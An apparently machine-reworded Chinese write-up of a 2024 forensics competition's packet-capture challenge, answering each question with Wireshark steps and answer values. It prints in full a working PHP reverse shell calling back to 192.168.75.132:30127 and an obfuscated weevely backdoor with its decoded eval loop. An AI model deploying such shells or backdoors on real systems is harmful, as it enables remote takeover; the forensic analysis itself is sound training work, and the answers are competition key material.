当前位置:首页 > 其他 > 正文内容

数证杯2024-网络流量剖析

邻居的猫1个月前 (12-09)其他469

数证杯2024-网络流量剖析

学习:2024数证杯初赛 - WXjzc - 博客园

1. [填空题]剖析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格局:10) (2分)

思路:

计算 --> 捕获文件特点

image-20241129233604-t5o7ved

答案:3504

2. [填空题]剖析网络流量包检材,抓取该流量包时运用计算机操作系统的build版别是多少?(答案格局:10D32) (2分)

思路:

跟第一问相同

image-20241129233703-bufjml4

答案:23F79

3. [填空题]剖析网络流量包检材,受害者的IP地址是?(答案格局:192.168.1.1) (2分)

思路:

计算 --> 会话 --> ipv4,发现 192.168.75.131 可疑,剖析一下这个 ip 的流量包,也能发现

image-20241129234323-5mmfzbc

答案:192.168.75.131

4. [填空题]剖析网络流量包检材,受害者所运用的操作系统是?(小写字母,答案格局:biwu) (2分)

思路:

过滤 http 流,翻一下贱量包就能发现

image-20241130002919-i20ksyn

答案:ubuntu

5. [填空题]剖析网络流量包检材,进犯者运用的端口扫描东西是?(小写字母,答案格局:abc) (2分)

思路:

跟上面相同过滤 http 流量,翻一下前面的流量,就能发现 nmap

image-20241130003317-zi6hggp

答案:nmap

6. [填空题]剖析网络流量包检材,进犯者运用的缝隙检测东西的版别号是?(答案格局:1.1.1) (2分)

思路:

过滤 http 流量剖析后边的流量包能发现运用了 Wfuzz,Wfuzz能够经过发现并运用网站缺点/缝隙的方法,然后就能确认版别号

image-20241130003849-wsrong4

image-20241130003936-whsfaq1

答案:3.1.0

7. [填空题]剖析网络流量包检材,进犯者经过目录扫描得到的 phpliteadmin 登录点是?(答案格局:/abc/abc.php) (2分)

思路:

一般的登入方法都是 POST,那咱们过滤一下就好,然后追寻一下贱,就能发现登入成功
http.request.method == POST

image-20241203011201-yuebyxc

image-20241203011301-rgisw43

答案:/dbadmin/test_db.php

8. [填空题]剖析网络流量包检材,进犯者成功登录到 phpliteadmin 时运用的暗码是?(答案格局:按实践值填写) (2分)

思路:

咱们知道登入的 url 为 /dbadmin/test_db.php,那咱们先过滤一下
http.request.uri.path == "/dbadmin/test_db.php"

image-20241203012417-j2ru11u

然后网上翻一下贱量包发现

image-20241203012355-xovdbxm

答案:admin

9. [填空题]剖析网络流量包检材,进犯者创立的 phpinfo 页面文件名是?(答案格局:abc.txt) (4分)

思路:

在第8 题过滤时分,就能翻到一个 demo.php ,直接在导出 http 目标,将后缀改成 .html 就能发现是一个 phpinfo

image-20241203090926-b4z6dzo

image-20241203092547-dingu8j

直接查找也能发现 phpinfo() 

image-20241203092751-y86hqd2

image-20241203092819-8au6evz

答案:demo.php

10. [填空题]剖析网络流量包检材,进犯者运用服务器缝隙从进犯机上下载的 payload 文件名是?(答案格局:abc.txt) (4分)

思路:

咱们一向往下剖析能够看到 wget 下载了一个 rev.txt

image-20241203093522-0ze3ypp

答案:rev.txt

11. [填空题]剖析网络流量包检材,进犯者反弹shell的地址及端口是?(答案格局:192.168.1.1:1234) (4分)

思路:

咱们上面找到了 rev.txt,然后查找一下找到文件,能够发现是一个 webshell 

image-20241203094011-7eq2k3l

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
 $pid = pcntl_fork();
 
 if ($pid == -1) {
  printit("ERROR: Can't fork");
  exit(1);
 }
 
 if ($pid) {
  exit(0);  // Parent exits
 }

 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
  exit(1);
 }

 $daemon = 1;
} else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
 if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
  break;
 }

 if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
  break;
 }

 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

 if (in_array($sock, $read_a)) {
  if ($debug) printit("SOCK READ");
  $input = fread($sock, $chunk_size);
  if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }

 if (in_array($pipes[1], $read_a)) {
  if ($debug) printit("STDOUT READ");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }

 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
 if (!$daemon) {
  print "$string\n";
 }
}

?> 

答案:192.168.75.132:30127

12. [填空题]剖析网络流量包检材,进犯者电脑所运用的Python版别号是?(答案格局:1.1.1) (2分)

思路:

在get拜访 rev.txt 的时分,从进犯者电脑拜访的,就能在回来包发现到

image-20241203094218-noapesa

答案:3.11.8

13. [填空题]剖析网络流量包检材,受害者服务器中网站所运用的框架结构是?(答案格局:thinkphp) (2分)

思路:

咱们知道 webshell 的端口是 30127,那咱们过滤一下
tcp.port==30127

image-20241203095403-f6iux8s

答案:wordpress

14. [填空题]剖析网络流量包检材,进犯者获取到的数据库暗码是?(答案格局:大小写按实践值填写) (4分)

思路:

跟 13 题相同,接着往下看就行

image-20241203095623-hyu8j5e

15. [填空题]剖析网络流量包检材,进犯者上传了一个weevely木马进行权限保持,上传时所运用的端口号为?(答案格局:3306) (2分)

思路:

仍是 13 题的超做,接着往下看,能够发现上传了一个 help.php

image-20241203095809-5oxay6d

答案:2000

16. [填空题]剖析网络流量包检材,进犯者上传了一个weevely木马进行权限保持,该木马第一次履行时获取到的缓冲区内容是?(答案 格局:按实践值填写)

学习:weevely的webshell剖析以及冰蝎/蚁剑免杀-PHP版_两重明文混杂webshell-CSDN博客

实战Webshell管理东西Weevely检测思路剖析_weevely流量剖析-CSDN博客

思路:

能够找到拜访了 help.php,能够发现便是 weevely 木马,也能验证上面一步

image-20241203100132-ca4m4wy

<?php
$q='uv1o2g6mkn7y";fv1unctiv1ov1n x(v1$t,$k){$c=v1strlen(v1$k)v1;v1$l=strlenv1($t);$o';
$k='tents(v1"php://iv1nput"),$v1mv1)==1) {@ov1b_start();v1@ev1val(@v1gzuncomv1press(@x(@';
$A='$k="c6v1ae1ev170";$khv1="cbbf9v1691e009";v1$v1kv1f="85a8v19e92c410";$p="dv1zINv1Rg';
$o='="v1";forv1($i=0;$v1iv1v1<$l;){fv1v1or($j=0;($j<$c&&$i<$lv1);$j++,$i++)v1{v1$o.=v1$t{$i}^';
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$Q='$k{$j}v1v1;}}return v1$o;v1}if (@pregv1_v1match("/v1$kh(.+)v1v1$kf/",@v1fv1ile_get_cov1n';
$Z='leanv1();$r=@base6v14_ev1ncv1ode(v1@x(@gzcov1mpress($ov1),$v1kv1));printv1("$p$kh$r$kf");}';
$w='v1basev164_decodev1($mv1[v11]),$v1k)));$o=@ov1b_get_contev1nts(v1v1);@ob_env1d_c';
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
?>

解反混杂,能够发现恳求包和回来包都在 cbbf9691e009 和 85a89e92c410 中心,然后依据加密脚本写出解密脚本就行

print("\(p\)kh\(r\)kf");

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
    if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");
    }
?>
然后找到履行的第一次履行的数据进行解密即可,解密脚本是群里一个师傅的

image-20241203101955-5mpu2c1

import base64
import zlib


def xor_decrypt(data, key):
    key = key.encode('utf-8')
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ key[i % len(key)])
    return bytes(result)


# 密钥
key = 'c6ae1e70'
kh = 'cbbf9691e009'
kf = '85a89e92c410'
p = 'dzINRguo2g6mkn7y'


def decrypt_data(encrypted_data):
    try:
        # 1. Base64解码
        print("1. 原始数据:", encrypted_data)
        # 增加必要的填充
        padded_data = encrypted_data + '=' * (-len(encrypted_data) % 4)
        data = base64.b64decode(padded_data)
        print("2. Base64解码后(hex):", data.hex())

        # 2. XOR解密
        decrypted = xor_decrypt(data, key)
        print("3. XOR解密后(hex):", decrypted.hex())

        # 3. Gzip解压
        try:
            decompressed = zlib.decompress(decrypted)
            print("4. Gzip解压后(hex):", decompressed.hex())
            print("5. Gzip解压后(text):", decompressed.decode('utf-8', errors='ignore'))
        except zlib.error as e:
            print("4. Gzip解压失利:", str(e))
            print("4. 解密后的原始数据(hex):", decrypted.hex())
            try:
                print("4. 解密后的原始数据(text):", decrypted.decode('utf-8', errors='ignore'))
            except:
                print("4. 无法解析为文本")
            print("4. 字节值:", [x for x in decrypted])

        return decrypted
    except Exception as e:
        print(f"解密失利: {str(e)}")
        import traceback
        traceback.print_exc()
        return None



if __name__ == '__main__':
    # 测验恳求数据
    request_raw = 'G6oqKP+t4ABWAVLT4dExMHs6Ylw'
    print("\n=== 恳求数据解密 ===")
    decrypt_data(request_raw)

    print("\n=== 呼应数据解密 ===")
    response_raw = 'G6pSUAZWgTBjNUtkPw=='
    decrypt_data(response_raw)

image-20241203102042-m1fhln4

答案:57638

php 脚本

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
$msg = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($msg),$k)));
?>

扫描二维码推送至手机访问。

版权声明:本文由51Blog发布,如需转载请注明出处。

本文链接:https://www.51blog.vip/?id=775

标签: wp电子取证
分享给朋友:

“数证杯2024-网络流量剖析” 的相关文章

RSA暗码体系的特定密钥走漏进犯与Coppersmith办法的使用

RSA暗码体系的特定密钥走漏进犯与Coppersmith办法的使用

PrimiHub一款由暗码学专家团队打造的开源隐私核算渠道,专心于共享数据安全、暗码学、联邦学习、同态加密等隐私核算范畴的技能和内容。 RSA暗码体系作为当时最广泛运用的公钥加密算法之一,其安全性依赖于大整数分化问题的困难性。但是,跟着核算才能的进步和算法优化,特别是Coppersmith办法的呈...

区块链币,未来金融的基石

区块链币,也称为数字货币,是基于区块链技术的电子货币形式。区块链是一种去中心化、不可篡改的分布式账本技术,通过密码学、P2P网络、时间戳服务器和共识算法等技术,确保交易记录的安全性和透明性。 区块链币的基本概念1. 去中心化:区块链技术不依赖于单一的中心化机构或权威来验证和管理数据,而是由网络中的参...

开源是什么,什么是开源?

开源是什么,什么是开源?

开源通常指的是软件源代码的开放和共享。它允许用户查看、修改和分发软件的源代码。开源软件通常遵循特定的许可协议,如GPL、MIT、Apache等,这些协议规定了用户对源代码的使用、修改和分发的权利和限制。开源软件的特点包括:1. 源代码开放:用户可以查看软件的源代码,了解其内部工作原理。2. 自由修改...

开源mes系统,制造业数字化转型的得力助手

开源mes系统,制造业数字化转型的得力助手

1. hmMES 特点:简易开源MES系统,基于Java Spring Boot Layui MySQL,支持低代码大屏设计,丰富的物联网数据采集组件,支持与ERP、WMS系统对接。 适用砛n2. LiteMES 特点:基于行业标准开源项目研发的生产制造全链路执行MES系统...

区块链英文,Introduction to Blockchain Technology

区块链英文,Introduction to Blockchain Technology

区块链在英文中被称为 blockchain。Introduction to Blockchain TechnologyBlockchain technology has emerged as a revolutionary force in the digital world, reshaping...

以太坊区块链浏览器

以太坊区块链浏览器

1. OKLink 功能:提供以太坊的基础数据、区块、交易、质押量等信息。用户可以通过OKLink了解以太坊的最新动态、市值、Gas价格、出块者等数据,以及参与质押ETH的奖励机制。 2. Etherscan China 功能:允许用户探索和搜索以太坊区块链上的交易、地址、代币、价...